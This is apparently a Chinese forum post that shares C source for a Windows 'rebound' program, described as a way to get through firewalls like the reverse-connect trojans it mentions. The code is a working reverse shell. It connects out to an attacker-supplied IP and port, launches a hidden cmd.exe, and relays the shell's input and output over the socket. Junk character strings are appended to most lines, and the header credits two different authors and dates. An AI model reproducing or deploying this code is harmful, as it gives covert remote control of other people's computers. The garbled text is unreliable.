这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kg/<<RO
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/* ============================== Q}zd!*
Rebound port in Windows NT gPJZpaS
By wind,2006/7 /TEE<\"
===============================*/ zEBUR%9
#include g.,_E4L
#include Mp-hNO}.Z
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#pragma comment(lib,"wsock32.lib") Crg@05Z
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void OutputShell(); 1#Q~aY
SOCKET sClient; %M7EOa
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; woyn6Z1JQ
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void main(int argc,char **argv) HI\V29
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{ ;0"p)O@s04
WSADATA stWsaData; tX.fbL@T
int nRet; JmBe1"hs
SOCKADDR_IN stSaiClient,stSaiServer; ^.gBHZ
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if(argc != 3)
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{ `fM]3]x>
printf("Useage:\n\rRebound DestIP DestPort\n"); E7`Q=4@e
return; goje4;
} gt \O
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WSAStartup(MAKEWORD(2,2),&stWsaData); 96#aGh>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @9AK!I8f
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stSaiClient.sin_family = AF_INET; )RCva3Ul
stSaiClient.sin_port = htons(0); yM
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); zd0[f3~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /w/um>>K.
{ GNX`~%3KYc
printf("Bind Socket Failed!\n"); -qs
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return; ]_js-+w6
} >HRL@~~Z
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stSaiServer.sin_family = AF_INET; EC8 Fapy
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @Wl2E.)K;
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =N^j:t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) /cC4K\M
{ H[J5A2b
printf("Connect Error!"); I&Z+FL&@f
return; d>gN3}tT
} L|y9T{s
OutputShell(); *-,jIaL;
} Mh@RO|F
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void OutputShell() S4C4_*~Vd
{ njGZ#{"eC
char szBuff[1024]; p%#=OtkC
SECURITY_ATTRIBUTES stSecurityAttributes; ZxoAf;U~
OSVERSIONINFO stOsversionInfo; AYHefAF<w
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J`'wprSBb
STARTUPINFO stStartupInfo; h=o%\F4
char *szShell; #q9cjEd_7
PROCESS_INFORMATION stProcessInformation; .vov ,J!Y
unsigned long lBytesRead; ,8&ND864v
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5J2tR6u-(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *5z"Xy3J
stSecurityAttributes.lpSecurityDescriptor = 0; K06x7W
stSecurityAttributes.bInheritHandle = TRUE; As+^6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i-M<_62c
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (_n U}<y_i
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %d^ =$Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LA4,o@V`
stStartupInfo.wShowWindow = SW_HIDE; vT;~\,M
stStartupInfo.hStdInput = hReadPipe; Cm%xI&Y
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7*(K%e"U
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GetVersionEx(&stOsversionInfo); P*g:rg
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switch(stOsversionInfo.dwPlatformId) /|WBk}
{ ,T0q.!d
case 1: [WUd9fUL
szShell = "command.com"; z+{Q(8'b]
break; \xjI=P'-25
default: _r?.%]\.
szShell = "cmd.exe"; m~R Me9Qi
break; / TAza9a
} Rc#c^F<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #<81`%
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send(sClient,szMsg,77,0); 2|JtRE+
while(1) OR<%h/ \f
{ i/j eb*d0
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jk_}y
if(lBytesRead) .2x`Fj;o1
{ v@Bk)Z
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +P|Z1a -jB
send(sClient,szBuff,lBytesRead,0); EeDK ^W8N
} @2/xu
else Z ItS(oJ.
{ -m_H]<lWZ
lBytesRead=recv(sClient,szBuff,1024,0); i _YJq;(
if(lBytesRead<=0) break; 2+}hsGnp
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); LLd5Z44v
} zc&i 4K
} (3QG
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return; P$Fq62;}r4
}